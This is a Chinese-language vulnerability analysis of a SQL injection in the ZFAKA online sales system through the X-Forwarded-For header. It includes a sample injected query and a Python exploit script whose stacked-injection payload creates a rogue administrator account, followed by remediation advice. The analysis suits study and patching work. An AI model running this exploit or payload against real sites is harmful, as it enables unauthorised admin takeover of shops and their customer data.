zfaka sql注入分析
字数 1046 2025-08-05 08:19:32
ZFAKA SQL注入漏洞分析与利用
漏洞概述
ZFAKA是一款开源的在线销售系统,在2021年7月11日发布的补丁中修复了一处SQL注入漏洞。该漏洞存在于IP地址处理逻辑中,攻击者可通过伪造X-Forwarded-For等HTTP头实现SQL注入,甚至执行堆叠注入攻击。
漏洞分析
漏洞位置
漏洞位于application/function/F_Network.php文件的getClientIP函数中。该函数用于获取客户端真实IP地址,但存在以下问题:
- 遍历XFF等header头获取IP地址
- 获取XFF后仅根据逗号截断获取第一个值
- 未对获取的IP地址进行有效过滤和验证
调用链分析
该漏洞函数被以下两个文件调用:
application/modules/Product/controllers/Order.php- 下单功能application/modules/Product/controllers/Query.php- 订单查询功能(实际存在漏洞的位置)
具体漏洞代码位于Query.php第151行,该处将用户可控的IP地址直接拼接到SQL查询中。
SQL注入原理
在application/library/Core/Model.php中:
Where方法直接拼接orderid、isdelete和ip参数select方法调用generateSQL方法拼接生成SQL语句并执行
当攻击者伪造X-Forwarded-For头时,生成的SQL语句如下:
SELECT * FROM `t_order` WHERE `orderid` = "xxxxxx" AND `isdelete` = "0" AND `ip` = ""or sleep(2)-- x" AND addtime>=1624844145 ORDER BY `id` desc
漏洞利用
基本利用
- 修改X-Forwarded-For头为恶意SQL语句
- 发送请求到
product/query/ajax/接口 - 系统执行注入的SQL语句
堆叠注入
该漏洞支持堆叠注入,可执行多条SQL语句,攻击者可:
- 添加管理员账户
- 修改会员信息
- 执行任意数据库操作
自动化攻击脚本
关键代码示例(Python):
def insertData(url):
vul_url='product/query/ajax/'
try:
session= requests.Session()
res=session.get(url,verify=False)
phpsessionid=res.headers['Set-Cookie']
searchObj = re.search( r'var TOKEN = ".*";', res.text, re.M|re.I)
if searchObj:
CSRF_TOKEN=searchObj.group(0).replace('var TOKEN = "','').replace('";','')
else:
print('获取CSRF_TOKEN失败')
exit
data['zlkbmethod']='orderid'
data['csrf_token']=CSRF_TOKEN
print('浏览器访问{URL},将[Cookie: {phpsessionid}]替换至浏览器Cookie中,获取验证码并输入至脚本中。'.format(phpsessionid=phpsessionid,URL=url+'product/query/?zlkbmethod=orderid').replace('; path=/',''))
data['vercode']=input('验证码:')
headers['X-Forwarded-For']='1111";insert into t_admin_user(`id`) values (\'{RandomNum}\');UPDATE t_admin_user SET `email`=\'{EMAIL}\' WHERE id = \'{RandomNum}\' ;UPDATE t_admin_user SET `password`=\'76b1807fc1c914f15588520b0833fbc3\' WHERE id = \'{RandomNum}\';UPDATE t_admin_user SET `secret`=\'78e055\' WHERE id = \'{RandomNum}\'#'.format(RandomNum=RNDNUM,EMAIL=EMAIL.lower())
res=session.post(url+vul_url,data=data,headers=headers,verify=False)
if res.status_code==200 and '1005' in res.text:
print('exploit success, account add success\nuse {EMAIL} 123456 to login {URL}'.format(EMAIL=EMAIL.lower(),URL=url+'/admin'))
else:
print('exploit failed.')
except:
print('Network Error.')
修复建议
- 对
getClientIP函数获取的IP地址进行严格验证和过滤 - 使用参数化查询或预处理语句替代直接SQL拼接
- 对X-Forwarded-For等HTTP头进行严格校验
- 限制数据库用户权限,避免堆叠注入
总结
该漏洞展示了Web应用中常见的安全问题:
- 用户输入未经验证直接使用
- SQL语句拼接导致注入
- 信任HTTP头信息
- 权限控制不足
开发人员应始终遵循最小权限原则,对所有用户输入进行严格验证和过滤,使用安全的数据库访问方式,以避免此类安全问题。